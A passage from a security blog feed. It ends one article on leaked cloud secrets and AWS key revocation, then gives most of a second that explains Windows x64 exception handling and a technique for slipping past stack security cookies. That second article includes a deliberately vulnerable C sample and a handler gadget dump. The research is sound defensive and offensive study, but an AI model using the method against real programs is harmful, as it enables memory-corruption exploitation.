special thanks to the vendors who worked with me to help protect their customers. Above is an example of an endpoint for revoking leaked OpenAI keys. Unfortunately, the process was not so smooth in all cases. For example, AWS, the largest cloud provider by market share, refused to share the endpoint used to report leaked secrets, despite the fact we could access it indirectly by posting a secret in a gist. This was nothing but politics getting in the way of customer security.</p><p>To add insult to injury, when AWS detects a leaked secret on GitHub, <strong>they do not revoke it</strong>. Instead, they restrict the key and create a support case with the customer who might not even see it. The former sounds good in theory, but in practice, limits very little. It really only prevents write access, like being able to start an EC2 instance or upload files to S3 buckets. There is almost no restriction to downloading data, like a customer database backup on an S3 bucket.</p><p>Before I developed the GitHub reporting system, I used to manually email batches of keys to AWS. In late July, while preparing key metrics, I noticed a few keys in my database that I thought I had seen before. In fact, I had seen them! Many new keys my system detected were the same keys I had reported to AWS months before. What was going on?</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927134700.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="1197" height="571" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/Pasted-image-20240927134700.png 600w, https://billdemirkapi.me/content/images/size/w1000/2024/09/Pasted-image-20240927134700.png 1000w, https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927134700.png 1197w" sizes="(min-width: 720px) 720px"></figure><blockquote>According to my estimates, ~32% of the keys I reported to you over 2-3 months ago are unrevoked and were forgotten about by your fraud team. The ~32% figure is based on the number of unique keys I reported to you by email which again appeared active at the end of July. It appears that the support cases your fraud team created in many cases were automatically resolved, leaving the keys exposed for abuse.<br><em>~ Email to AWS Security</em></blockquote><p>AWS not only fails to revoke publicly leaked secrets, but the support cases they create are horribly mismanaged. It turned out that ~32% of the keys I reported to AWS were not addressed <strong>4 months later</strong>. The reason? If the customer didn&apos;t respond, the support case for the leaked secret is automatically closed! You can see one example above I obtained while investigating a previously reported secret.</p><p>I&apos;ve continued to work with AWS on these concerns, but have yet to see any meaningful action. I suspect the choice to leave keys exposed for abuse is due to the risk of impacting legitimate workflows that depend on the key. This would be a fair concern, but what&apos;s worse, a short-term service disruption or the theft of sensitive user data?</p><p>How do I know for a fact AWS&apos; approach is unreasonable? Every other vendor enrolled in secret validity checks in GitHub&apos;s program I tested revoked leaked keys, <strong>including AWS&apos; direct competitor, Google Cloud</strong>. The ~32% unrevoked figure after 4 months also worries me because I wonder if it applies to keys on GitHub, which are easy to spot. I think this could end very badly for AWS, but at the end of the day, this is their call.</p><h1 id="where-do-we-go-from-here">Where Do We Go From Here?</h1><h2 id="takeaways">Takeaways</h2><!--kg-card-begin: markdown--><ul>
<li><strong>Security at Scale Is Not Only Offensive.</strong>
<ul>
<li>We can use the same techniques we use to find these issues to also protect against them.</li>
</ul>
</li>
<li><strong>Incentives Are Everything.</strong>
<ul>
<li>Dangling resources and leaked secrets are technically the customer&apos;s fault, but the wrong incentives are what enable them at scale.</li>
<li>At scale, the path of least resistance matters. For example, many platforms offer API tokens as default mechanisms for authentication. <strong>When it&apos;s easy to hardcode&#xA0;secrets, developers will hardcode&#xA0;secrets.</strong></li>
<li>DNS was created before cloud computing. It needs to be modernized. For example, given cross-industry collaboration in other areas, could we tie DNS records to cloud assets, automatically deleting (or at least alerting) when an associated asset is destroyed?</li>
</ul>
</li>
<li><strong>What Cloud Providers Are Missing</strong>
<ul>
<li>Limited collaboration to solve issues at the ecosystem layer.</li>
<li>Ineffective mitigations to these common vulnerability classes. We&apos;ve known about dangling DNS records for over a decade, yet the problem only seems to have grown.</li>
<li>There is a lack of urgency to address leaked secrets. For example, AWS is one of the only participants in the GitHub secret scanning program who does not automatically revoke keys that are leaked to the world. This puts customers at extreme risk.</li>
</ul>
</li>
<li><strong>How Do We Fix It? Make the path of least resistance secure by default.</strong>
<ul>
<li><strong>Hardcoded&#xA0;Secrets:</strong> Deprecate tokens for authentication. Some use cases may not be able to completely eradicate them, but add barriers to using them. Use certificate-based authentication or other secure alternatives.</li>
<li><strong>Hardcoded&#xA0;Secrets:</strong> Make it hard to abuse tokens. Example include clearly separating tokens with read-only capability with write-only capability.</li>
<li><strong>Dangling Resources</strong>: Perhaps we need a new standard for tying DNS records to cloud resources. At minimum, Cloud &amp; DNS Providers should collaborate.</li>
</ul>
</li>
</ul>
<!--kg-card-end: markdown--><h2 id="how-do-i-protect-my-organization">How Do I Protect My Organization?</h2><p>In general, make it as hard as possible to insecurely use secrets within your organization. The trivial approach to solving leaked secrets within your organization is to use existing tooling to scan your code. This does not address the root cause of leaked secrets. To prevent them, the most effective approach is to focus on design decisions to disincentivize insecure usage of credentials.</p><p><strong>Start by understanding &quot;how is my organization currently managing secrets?&quot;</strong></p><!--kg-card-begin: markdown--><ul>
<li>For example, if a developer requires access to a backend service, what does the process for obtaining an API key look like?</li>
<li>Who is responsible for managing credentials (if anyone)?</li>
<li>What security practices is your organization following around leaked secrets?</li>
<li>Who has the authority to specify company policy?</li>
</ul>
<!--kg-card-end: markdown--><p><strong>Have a central authority for managing secrets.</strong> OWASP <a href="https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html">has an incredible cheat sheet</a> on this. I strongly recommend following their advice.</p><!--kg-card-begin: markdown--><ul>
<li>For example, have an internal service that all applications must go through to interact with a backend server.</li>
<li>You can either have this service provide other applications with credentials to use or for an additional layer of security, never let the API key leave the internal service.</li>
<li>Frequently rotate your credentials. With a central authority for secrets, automating this process is much more straightforward.</li>
<li>Ensure that this service has extensive auditing and logging. Look into detecting anomalous behavior.</li>
<li>Use a hardware medium (TPM) to store your secrets where possible.</li>
<li>Assign an expiration date for your keys to force a regular review of access.</li>
</ul>
<!--kg-card-end: markdown--><p>For dangling domains, there is no one size fits all. Generally, you should track the cloud resource associated with any DNS record you create, but this will vary dependent on your environment. I believe a better solution would come at a platform/provider level, but this requires cross-industry collaboration.</p><h2 id="cloud-providers">Cloud Providers</h2><p></p><!--kg-card-begin: markdown--><ul>
<li><strong>Automatically revoke leaked secrets reported to your organization.</strong></li>
<li>If you are running a platform that provides API access for your customers, there is a lot you can do to make it harder for your customers to insecurely implement your API.</li>
<li>Allow and encourage customers to rotate their API keys automatically.</li>
<li>Allow and encourage customers to use cryptographic keys that can be stored in hardware to sign API requests.</li>
<li>Make your API keys contain a recognizable pattern. Makes it far easier for defenders to find leaked secrets.</li>
<li>Implement detections for anomalous activity.
<ul>
<li>If an API key has only performed a limited number of operations for a long period of time and suddenly begins to be used heavily, consider warning the customer about the increased usage.</li>
<li>If an API key has been used by a limited number of IP addresses for a long period of time and is used from an unrecognized location, consider warning the customer.</li>
<li>Plenty more approaches depending on the service.</li>
</ul>
</li>
<li><strong>Customers</strong>: Hold the platforms you use accountable for these practices.</li>
</ul>
<!--kg-card-end: markdown--><h1 id="conclusion">Conclusion</h1><p>This article explored two common, yet critical vulnerability classes: dangling DNS records and leaked secrets. The former was well traversed, but served as a useful example of applying what I call the &quot;security at scale mindset&quot;. Instead of starting with a target, we start with the vulnerability. We demonstrated how dangling records are still a prominent issue across the Internet, despite existing for over a decade.</p><p>We then targeted hardcoded secrets, an area far less explored. By leveraging unconventional &quot;big data&quot; sources, in this case virus scanning platforms, we were able to discover secrets at an unprecedented scale. Like dangling DNS records, the root cause of these systemic weaknesses are poor incentives. The status quo of using a short token for authentication incentivizes poor security practices, like embedding them in raw code, no matter how much we warn against it.</p><p>We finished the project by going end-to-end. Not only did we discover these problems, we mitigated a majority by taking advantage of GitHub&apos;s existing relationships and automating their UI to trigger secret revocation. It&apos;s rare to have an opportunity to directly protect victims, yet so important to deterring abuse.</p><p>I&apos;d encourage you to think about the mindset we applied in this article for other types of bugs. Examples of other interesting data sources include netflow data and OSINT/publicly available data you can scrape. In general, here are two key areas to focus on:</p><ul><li>Break down traditional methods of finding a vulnerability into steps.</li><li>Correlate steps with large data sets, regardless of their intended usage.</li></ul><p>I hope you enjoyed this research as much as I did! I&apos;m so glad to have had the opportunity to share this work with you. Would love to hear what you think- feel free to leave a reply on the article tweet!</p>]]></content:encoded></item><item><title><![CDATA[Abusing Exceptions for Code Execution, Part 2]]></title><description><![CDATA[In this article, we'll explore how the concepts behind Exception Oriented Programming can be abused when exploiting stack overflow vulnerabilities on Windows.]]></description><link>https://billdemirkapi.me/abusing-exceptions-for-code-execution-part-2/</link><guid isPermaLink="false">63d7da6ff9f45803a6f6f0fa</guid><category><![CDATA[Security Research]]></category><dc:creator><![CDATA[Bill Demirkapi]]></dc:creator><pubDate>Mon, 30 Jan 2023 15:01:24 GMT</pubDate><media:content url="https://billdemirkapi.me/content/images/2023/01/eop2_header.png" medium="image"/><content:encoded><![CDATA[<img src="https://billdemirkapi.me/content/images/2023/01/eop2_header.png" alt="Abusing Exceptions for Code Execution, Part 2"><p><em>Full disclosure- Microsoft hired me following part 1 of this series. This research was conducted independently, and a vast majority of it was completed before I joined. Obviously, no internal information was used, and everything was built on public resources.</em></p><p>In <a href="https://billdemirkapi.me/exception-oriented-programming-abusing-exceptions-for-code-execution-part-1"><em>Abusing Exceptions for Code Execution, Part 1</em></a>, I introduced the concept of Exception Oriented Programming (EOP), which was a method of executing arbitrary operations by chaining together code from legitimate modules. The primary benefit of this approach was that the attacker would never need their shellcode to be in an executable region of memory, as the technique relied on finding the instructions of their shellcode in existing code.</p><p>The last article primarily focused on abusing this technique when you already have some form of code execution. Although powerful for obfuscation and evasion, the use cases provided would only be relevant when an attacker had already compromised an environment. For example, how does EOP compare to existing exploitation techniques such as Return Oriented Programming (ROP)? In this article, we&apos;ll explore how the concepts behind Exception Oriented Programming can be abused when exploiting stack overflow vulnerabilities on Windows.</p><h1 id="background">Background</h1><p>Before we can get into how EOP can help exploit stack-based attacks, it&apos;s important to know the history of the mitigations we are up against. I assume you already have familiarity with the OS-agnostic basics, such as ASLR and DEP.</p><h2 id="security-cookies">Security Cookies</h2><p>Security cookies (aka &quot;stack canaries&quot;) are a compiler mitigation introduced around two decades ago. <a href="https://learn.microsoft.com/en-us/cpp/build/reference/gs-buffer-security-check">Here</a> is a helpful summary from Microsoft&apos;s documentation:</p><blockquote>On functions that the compiler recognizes as subject to buffer overrun problems, the compiler allocates space on the stack before the return address. On function entry, the allocated space is loaded with a &#xA0;<em>security cookie</em> &#xA0;that is computed once at module load. On function exit, and during frame unwinding on 64-bit operating systems, a helper function is called to make sure that the value of the cookie is still the same. A different value indicates that an overwrite of the stack may have occurred. If a different value is detected, the process is terminated.</blockquote><p>Security cookies are relatively straightforward. By placing a &quot;random&quot; cookie next to the return address on the stack, attackers exploiting stack overflow vulnerabilities face a significant problem- how do you modify the return address without failing the cookie check?</p><p>Over the years, there has been lots of work put into bypassing these security cookies. I found <a href="https://www.corelan.be/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/">this helpful overview</a> from the Corelan team written in 2009. Let&apos;s review some of the techniques they discuss that are still relevant to this day:</p><!--kg-card-begin: markdown--><ol>
<li>This mitigation is irrelevant if you have an overflow vulnerability in a function that does not have a security cookie check (i.e. because there are no string buffers).</li>
<li>If you have an information disclosure primitive, you could attempt to leak the security cookie for the current function from the stack <em>or</em> the security cookie in the <code>.data</code> section.
<ul>
<li>For example, if you had a string buffer and a method of getting the application to &quot;print&quot; that string, you could overflow the buffer up to the security cookie such that there is no NULL terminator. When the string is &quot;printed&quot;, all the bytes of the cookie until a NULL terminator would be returned as a part of the string.</li>
</ul>
</li>
<li>If you already have an arbitrary &quot;write-what-where&quot; primitive and know the location of the security cookie, you can overwrite it with your own, allowing you to predict the &quot;correct&quot; value to place on the stack.</li>
<li>You can still overwrite local variables on the stack to hijack control flow.
<ul>
<li>For example, if a pointer was stored on the stack (before the overflow&apos;d variable) used in a desirable operation like <code>memcpy</code> <em>after</em> the overflow occurs, you could overwrite this pointer without corrupting the security cookie.</li>
<li>Another example would be objects with &quot;virtual tables&quot; on the stack that we can overwrite. If an object&apos;s virtual table is used after the overflow occurs, an attacker could influence the target of those virtual calls. Of course, this would likely be subject to control-flow integrity mitigations like <a href="https://learn.microsoft.com/en-us/windows/win32/secbp/control-flow-guard">Control Flow Guard</a> (or xFG) on Windows.</li>
</ul>
</li>
</ol>
<!--kg-card-end: markdown--><p>Outside of these approaches, there has been extensive research into abusing exception handling. Before mitigations such as SafeSEH and SEHOP, which we will discuss soon, attackers in the context of 32-bit applications could modify &quot;exception registration records&quot; on the stack. The Corelan team covered this path of exploitation in <a href="https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/">a separate blog</a>. More recently, however, <a href="https://twitter.com/_forrestorr">@_ForrestOrr</a> wrote in detail about SEH hijacking in <a href="https://www.cyberark.com/resources/threat-research-blog/a-modern-exploration-of-windows-memory-corruption-exploits-part-i-stack-overflows">his article</a> about memory corruption bugs on Windows.</p><h2 id="seh-hijacking-and-the-mitigations-against-it">SEH Hijacking and the Mitigations Against It</h2><p>In 32-bit applications, exception registration records contain a pointer to the &quot;next&quot; SEH record on the stack and a pointer to the exception handler itself. Back in the day, attackers could hijack control flow even with security cookies by:</p><ol><li>Replacing the exception handler on the stack with their own.</li><li>Triggering an exception before the security cookie check.</li></ol><p>This would allow the attacker to call an arbitrary handler with partial control over the passed arguments.</p><h3 id="safeseh">SafeSEH</h3><p>To protect against this technique, Microsoft introduced a mitigation called <a href="https://learn.microsoft.com/en-us/cpp/build/reference/safeseh-image-has-safe-exception-handlers">SafeSEH</a>. At a high level, &quot;legitimate&quot; exception handlers are built into the binary at compile-time. Although an attacker can still replace the exception handler on the stack, if it is not in the module&apos;s list of exception handlers, a <code>STATUS_INVALID_EXCEPTION_HANDLER</code> exception is raised.</p><h3 id="sehop">SEHOP</h3><p><a href="https://msrc-blog.microsoft.com/2009/02/02/preventing-the-exploitation-of-structured-exception-handler-seh-overwrites-with-sehop/">SEH Overwrite Protection</a> (SEHOP) is another mitigation that would protect 32-bit applications from having their exception handlers overwritten- without requiring them to be recompiled. This approach works by adding an exception registration record at the bottom of the chain and making sure it is &quot;reachable&quot; when an exception occurs. Remember that besides the exception handler, the registration record contains a pointer to the &quot;next&quot; SEH record. If an attacker corrupts this &quot;next&quot; pointer, the chain is broken, and this final item is not reachable, preventing the attack. Of course, if an attacker can predict the &quot;next&quot; pointer successfully, this mitigation can be evaded.</p><h3 id="64-bit-applications">64-bit Applications</h3><p>64-bit applications are already protected against this attack by default, which we briefly mentioned in the <a href="https://billdemirkapi.me/exception-oriented-programming-abusing-exceptions-for-code-execution-part-1#structured-exception-handlers">last article</a> of this series:</p><blockquote>Nowadays SEH exception handling information is compiled into the binary, specifically the exception directory, detailing what regions of code are protected by an exception handler. When an exception occurs, this table is enumerated during an &quot;<a href="https://docs.microsoft.com/en-us/cpp/cpp/exceptions-and-stack-unwinding-in-cpp">unwinding process</a>&quot;, which checks if the code that caused the exception or any of the callers on the stack have an SEH exception handler.</blockquote><p>Since the exception handlers are built into the binary itself, there is no exception registration record on the stack that an attacker can corrupt. This prevents the existing approaches to SEH hijacking entirely.</p><h2 id="the-exception-directory">The Exception Directory</h2><p>Let&apos;s talk more about how the exception directory works in 64-bit applications.</p><p>The location of the exception directory can be retrieved by parsing the optional header of the binary, specifically the <code>IMAGE_DIRECTORY_ENTRY_EXCEPTION</code> data directory. This directory is an array of <code>IMAGE_RUNTIME_FUNCTION_ENTRY</code> structures. You can calculate the number of entries by dividing the directory size by the size of the <code>IMAGE_RUNTIME_FUNCTION_ENTRY</code> structure.</p><p>Each entry contains a begin address, end address, and the offset of an <code>UNWIND_INFO</code> structure. The begin/end addresses specify the region of code that the given entry provides information for. The <code>UNWIND_INFO</code> structure is represented by the following:</p><pre><code class="language-c">typedef struct _UNWIND_INFO {
	unsigned char Version : 3;
	unsigned char Flags : 5;
	unsigned char SizeOfProlog;
	unsigned char CountOfCodes;
	unsigned char FrameRegister : 4;
	unsigned char FrameOffset : 4;
	UNWIND_CODE UnwindCode[1];
/*  UNWIND_CODE MoreUnwindCode[((CountOfCodes+1)&amp;~1)-1];
 *  union {
 *      OPTIONAL unsigned long ExceptionHandler;
 *      OPTIONAL unsigned long FunctionEntry;
 *  };
 *  OPTIONAL unsigned long ExceptionData[];
 */
} UNWIND_INFO, * PUNWIND_INFO;
</code></pre><p>The commented region is still present in the structure, but its location depends on the size of the dynamic <code>UnwindCode</code> array. Note that most functions in an application will have a dedicated entry. This is because even if the function does not need to handle exceptions, each entry contains essential information for how the function should be unwound. For example, if function A contains an exception handler, calls function B, which does not, and an exception occurs, we still need to be able to unwind the stack to get to function A&apos;s handler.</p><p>Of note, the <code>Flags</code> field of the structure can contain the following:</p><ul><li><code>UNW_FLAG_NHANDLER</code> - The function has no handler.</li><li><code>UNW_FLAG_EHANDLER</code> - The function has an exception handler that should be called.</li><li><code>UNW_FLAG_UHANDLER</code> - The function has a termination handler that should be called when unwinding an exception.</li><li><code>UNW_FLAG_CHAININFO</code> - The FunctionEntry member is the contents of a previous function table entry.</li></ul><p>We can tell if a given function contains an exception handler by checking if the <code>Flags</code> field specifies <code>UNW_FLAG_EHANDLER</code>.</p><p>The structure&apos;s dynamic <code>UNWIND_CODE</code> array represents the operations needed to &quot;unwind&quot;/undo the changes a given function&apos;s prolog has made to the stack. We will talk about these operations in a later section when they become relevant.</p><pre><code class="language-c">typedef struct _UNWIND_INFO {
	...
/*  UNWIND_CODE MoreUnwindCode[((CountOfCodes+1)&amp;~1)-1];
 *  union {
 *      OPTIONAL unsigned long ExceptionHandler;
 *      OPTIONAL unsigned long FunctionEntry;
 *  };
 *  OPTIONAL unsigned long ExceptionData[];
 */
} UNWIND_INFO, * PUNWIND_INFO;
</code></pre><p>Going back to the definition of the <code>UNWIND_INFO</code> structure, note that there is a single field dedicated to the offset of the &quot;exception handler&quot;. When you create some code with an SEH try/except block, the address of your exception handler is not what goes into this field. Instead, every language (including C/C++) is responsible for defining a &quot;language-specific&quot; handler. In our case, <code>ExceptionHandler</code> points to the <code>__C_specific_handler</code>. These handlers have the following type definition:</p><pre><code class="language-c">typedef EXCEPTION_DISPOSITION (*PEXCEPTION_ROUTINE) (
    IN PEXCEPTION_RECORD ExceptionRecord,
    IN ULONG64 EstablisherFrame,
    IN OUT PCONTEXT ContextRecord,
    IN OUT PDISPATCHER_CONTEXT DispatcherContext
);
</code></pre><pre><code class="language-c">typedef struct _SCOPE_TABLE_AMD64 {
    DWORD Count;
    struct {
        DWORD BeginAddress;
        DWORD EndAddress;
        DWORD HandlerAddress;
        DWORD JumpTarget;
    } ScopeRecord[1];
} SCOPE_TABLE_AMD64, *PSCOPE_TABLE_AMD64;
</code></pre><p>The <code>__C_specific_handler</code> handler for C/C++ leverages the <code>ExceptionData</code> field to store a <code>SCOPE_TABLE</code> structure. Like the <code>IMAGE_RUNTIME_FUNCTION_ENTRY</code> parent structure, each <code>ScopeRecord</code> has a begin/end address, but this time we have a handler and jump target as well. The begin/end address specifies the <strong>scope</strong> or &quot;region of code&quot; to &quot;protect&quot;. The last two fields store offsets to your SEH exception filter and exception handler.</p><pre><code class="language-c">int main() {
	__try {
		*(int*)0 = 0xDEADBEEF;
	} __except(MyExceptionFilter()) {
		printf(&quot;My exception handler!\n&quot;);
	}
	return 0;
}
</code></pre><p>Exception filters go inside the parenthesis for your <code>__except</code> block. In this example, <code>MyExceptionFilter</code> is responsible for determining whether the <code>__except</code> handler block should be called for a given exception. Exception filters often perform conditional checks, such as whether the exception code matches something specific. Filters can return the following results:</p><ol><li><code>EXCEPTION_CONTINUE_EXECUTION</code> - Indicates that execution should continue where the exception occurred.</li><li><code>EXCEPTION_CONTINUE_SEARCH</code> - Continue the search for an exception handler.</li><li><code>EXCEPTION_EXECUTE_HANDLER</code> - Execute the handler block. In the example code, <code>My exception handler!</code> would only be printed if <code>MyExceptionFilter</code> returned this value.</li></ol><p>Exception filters and handlers are defined in the <code>ScopeRecord</code> structure as the <code>HandlerAddress</code> and <code>JumpTarget</code> offsets. If the <code>HandlerAddress</code> is 1, then this means execute the exception handler (<code>JumpTarget</code>) for all exceptions.</p><p>You can find the source code for <code>__C_specific_handler</code> included with the MSVCRT since it needs to support static compilation into binaries. On my installation of Visual Studio, the relevant source file is located at <code>C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\crt\src\amd64\chandler.c</code>.</p><h3 id="the-exception-dispatching-process">The Exception Dispatching Process</h3><p>Before we continue, I want to clarify a fundamental concept we need to understand about the <code>UNW_FLAG_EHANDLER</code> vs <code>UNW_FLAG_UHANDLER</code> flags in the <code>UNWIND_INFO</code> structure.</p><p>When an exception occurs, <code>RtlDispatchException</code> is the first function to be called. <code>RtlDispatchException</code> will create a temporary copy of the <code>CONTEXT</code> record (containing the state of registers, etc.) and &quot;virtually unwind&quot; the stack searching for exception handlers to call. Unwinding means undoing the modifications done to the stack (and registers) by the prolog/epilog of functions in the call stack. If a function has a corresponding <code>UNWIND_INFO</code> structure with the <code>UNW_FLAG_EHANDLER</code> flag, its exception handler is called.</p><p>If the handler returns <code>EXCEPTION_CONTINUE_EXECUTION</code>, execution continues right where the exception occurred (which means the exception was &quot;handled&quot;). Note that the changes made to the temporary <code>CONTEXT</code> copy <em>will not be reflected if execution were to continue</em> (i.e. if virtual unwind modified <code>Rcx</code> register, that doesn&apos;t change <code>Rcx</code> when execution continues).</p><p>If the handler returns <code>EXCEPTION_CONTINUE_SEARCH</code>, the virtual unwinding process continues, looking for the next function with the <code>UNW_FLAG_EHANDLER</code> flag.</p><p>In the context of the C-specific language handler, the exception filter specified by the &quot;handler address&quot; can return the two results above and <code>EXCEPTION_EXECUTE_HANDLER</code>. In this case, even though we are in the context of <code>RtlDispatchException</code>, <code>__C_specific_handler</code> will call <code>RtlUnwind</code> to <strong>unwind</strong> execution to the handler specified by the &quot;jump target&quot;.</p><p><code>RtlUnwind</code> is incredibly similar to <code>RtlDispatchException</code>, but it has a few notable differences. First, the context record modified by the unwinding process in this function <em>will</em> be reflected when execution continues. This is because <code>RtlUnwind</code> is intended to get both the stack and registers into the state corresponding to the target exception handler&apos;s function. So, for example, if you had an exception handler in a parent function of where the exception occurred, <code>RtlUnwind</code> is responsible for making sure that <code>Rsp</code> is corrected such that you can access any local variables from the context of your parent function as well as the values in its nonvolatile registers.</p><p>The second significant difference is that only &quot;termination&quot; or unwind handlers are called, aka functions with an <code>UNWIND_INFO</code> structure specifying the <code>UNW_FLAG_UHANDLER</code> flag. A good example of an unwind handler would be a <code>__try</code>/<code>__finally</code> block intended to free resources rather than catch an exception.</p><p><code>RtlUnwind</code> will unwind the stack, calling relevant unwind handlers until the &quot;target frame&quot; is reached. The target frame is generally the stack frame for the exception handler it is trying to unwind to. When reached, <code>RtlUnwind</code> passes the <strong>modified</strong> context record to <code>RtlRestoreContext</code>, which is responsible for continuing execution at the target handler.</p><p>We&apos;re going to cover <code>RtlDispatchException</code> and <code>RtlUnwind</code> further in later sections, but if you&apos;d like to learn more outside of this article, check out the publicly leaked Windows Research Kernel (WRK), which contains the source code for <a href="https://github.com/smartmaster/wrk-msvc/blob/master/BASE/NTOS/RTL/AMD64/EXDSPTCH.C#L114">RtlDispatchException</a> and <a href="https://github.com/smartmaster/wrk-msvc/blob/master/BASE/NTOS/RTL/AMD64/EXDSPTCH.C#L510">RtlUnwind</a>.</p><p>Although we&apos;ve gone over how Structured Exception Handling works &quot;under the hood&quot; to an extent, much was simplified for the purposes of this article. If you&apos;re interested in learning more, I would encourage you to check out <a href="https://auscitte.github.io/posts/Exception-Directory-pefile">this article</a> by <a href="https://github.com/Auscitte">Ry Auscitte</a>, who goes into even more detail.</p><p>We&apos;ve explored the existing mitigations against stack-based attacks and how Structured Exception Handling works. In the following sections, we&apos;ll discuss the practical approaches I propose to simplify the exploitation of stack overflow vulnerabilities.</p><h1 id="bypassing-security-cookies">Bypassing Security Cookies</h1><h2 id="example">Example</h2><pre><code class="language-c++">void GetString() {
	char tempBuffer[16];

	scanf(&quot;%s&quot;, tempBuffer);
	printf(tempBuffer);
}

int main() {
	__try {
		GetString();
	}
	__except (EXCEPTION_EXECUTE_HANDLER) {
		printf(&quot;Something bad happened!\n&quot;);
	}
	return 0;
}
</code></pre><p>Let&apos;s start with an example of a simple vulnerable application I&apos;ve compiled using Clang/LLVM in Visual Studio. The buffer overflow is simple, <code>scanf</code> reads a string into the <code>tempBuffer</code> stack variable without any bound checks.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/qO3h4xa.png" class="kg-image" alt="Abusing Exceptions for Code Execution, Part 2" loading="lazy"></figure><p>If we take a look at the function in IDA Pro, there is a significant challenge preventing us from exploiting this overflow primitive- the security cookie check at the epilogue of the function. Since the return address is right &quot;after&quot; the security cookie on the stack, we couldn&apos;t modify it without also corrupting the cookie. This would prevent us from gaining code execution since the program would crash before the <code>ret</code> instruction.</p><p>What can we do? Existing approaches to these scenarios include all of the methods we discussed to bypass security cookies, such as trying to leak it. For example, if the attacker had access to the <code>stdout</code> of this program, they could use <code>printf</code> to leak the security cookie on the stack. However, the issue they&apos;d run into is that the program would exit soon after. Even if they could trigger another execution, a new random cookie would be generated.</p><p>This is where our new methodology can start to shine. Our exploit fails if we corrupt the return address and hit the <code>__security_cookie_check</code>. <em>What if we...</em> <strong>corrupted the stack and triggered an exception</strong> (i.e with a bad format string)?</p><pre><code class="language-c++">int main() {
	__try {
		GetString();
	}
	__except (EXCEPTION_EXECUTE_HANDLER) {
		printf(&quot;Something bad happened!\n&quot;);
	}
	return 0;
}
</code></pre><p>Since <code>main</code> has a &quot;catch-all&quot; exception handler, the program would print <code>Something bad happened!</code> and return. The security cookie check would never be reached because the exception redirected execution to the handler! Also, because <code>main</code> does not have any stack variables itself, it has no security cookie check. If we used our overflow to corrupt the return address of <code>main</code> rather than <code>GetString</code>, once <code>main</code> returns after the exception is handled, we&apos;d gain control over what code is executed!</p><p>This example relies on an overflow vulnerability, a method of triggering an exception, and a parent function having a &quot;catch-all&quot; exception handler. These first two requirements are relatively straightforward as 1) security cookies are only relevant for overflow scenarios, and 2) causing an exception is relatively easy if you can corrupt local variables.</p><p>What about the last requirement that the context in which you have an overflow vulnerability also contains a parent function with a catch-all handler? That is a much higher bar. Fortunately, this is where we can abuse how unwinding works.</p><p>How did the unwinding process determine that it should call <code>main</code>&apos;s exception handler? When <code>main</code> called <code>GetString</code>, the <code>Rip</code> register was pushed on the stack as the return address <code>GetString</code> should return to. The unwinding process <em>uses this return address on the stack</em> while searching for a parent function that contains an exception handler.</p><p>If we have a leak of the location for any module in the process that contains a C-specific exception handler where 1) the exception filter returns <code>EXCEPTION_EXECUTE_HANDLER</code> and 2) the handler will <code>ret</code> without a security cookie check, then we don&apos;t need a desirable parent in our stack at all!</p><p>By replacing the parent return address on the stack with an address protected by a &quot;desirable&quot; exception handler which meets the previous requirements, the unwinding process will pass the exception to the fake parent&apos;s handler, which will <code>ret</code> into an address we control on the stack.</p><p>Finding these &quot;desirable&quot; handlers can be easier than it may seem. For example, if we statically compile the previous barebone example application, we already have several candidates to choose from.</p><pre><code>[RUNTIME_FUNCTION]
... 
	[UNWIND_INFO]
	...  
	Flags: UNW_FLAG_EHANDLER
	Unwind codes: .ALLOCSTACK 0x18
		[SCOPE_TABLE]
		Scope 0
		BeginAddress:                  0x16cb
		EndAddress:                    0x1755
		HandlerAddress:                0x10314
			push rbp
			mov rbp, rdx
			mov rax, qword ptr [rcx]
			xor ecx, ecx
			cmp dword ptr [rax], 0xc0000005
			sete cl
			mov eax, ecx
			pop rbp
			ret 
		JumpTarget:                    0x1755
			xor al, al
			add rsp, 0x18
			ret 
</code></pre><p>Above is an excerpt from a tool I wrote to dump C-specific exception handlers. These structures correspond to the <code>__scrt_is_nonwritable_in_current_image</code> function in the MSVCRT. Look at the exception filter&apos;s disassembly. If we can generate an access violation exception (i.e. by reading/writing an invalid pointer), the exception handler (jump target) would be executed, returning to any address of our choice.</p><h2 id="theory">Theory</h2><p>As we covered earlier, using exceptions to escape security cookies is not new. In the past, however, the methods have involved x86-specific weaknesses, such as the exception handler pointer being stored on the stack. This new approach works with 64-bit applications by leveraging existing <em>legitimate</em> exception handlers.</p><p>Taking a step back and looking at this attack as a generic methodology. If you...</p><!--kg-card-begin: markdown--><ol>
<li>Have a stack overflow primitive.</li>
<li>Can trigger an exception before a security cookie check.</li>
<li>Know the location of any module in the process that contains a region of code protected by an exception handler...
<ul>
<li>Whose C-specific exception filter (handler address) returns <code>EXCEPTION_EXECUTE_HANDLER</code> for the exception you can generate.</li>
<li>Whose C-specific exception handler (jump target) <code>ret</code>&apos;s without a security cookie check.</li>
</ul>
</li>
<li>Meet specific compiler requirements (discussed later).</li>
</ol>
<!--kg-card-end: markdown--><p>You can spoof your call stack to include a region of code protected by the desirable exception handler, trigger an exception, and bypass the security cookie check entirely.</p><h2 id="are-all-compilers-impacted">Are All Compilers Impacted?</h2><h3 id="seh-security-cookie-check">SEH Security Cookie Check</h3><p>When I was parsing the exception handlers registered for modules such as <code>ntdll.dll</code>, I was confused to see that only 203 out of 713 exception handlers were set to the expected <code>__C_specific_handler</code> function. Here is a breakdown of the handlers for my version of <code>ntdll.dll</code>:</p><ul><li>713 total runtime function entries with a registered exception or termination handler</li><li>203 entries matched <code>__C_specific_handler</code></li><li>454 entries matched <code>__GSHandlerCheck</code>?</li><li>48 entries matched <code>__GSHandlerCheck_SEH</code>?</li><li>5 entries matched <code>LdrpICallHandler</code></li><li>1 entry matched <code>KiUserApcHandler</code></li><li>1 entry matched <code>RtlpExceptionHandler</code></li><li>1 entry matched <code>RtlpUnwindHandler</code></li></ul><p>The two <code>__GSHandlerCheck</code> functions caught my eye. What were these exception handlers being used for?</p><!--kg-card-begin: 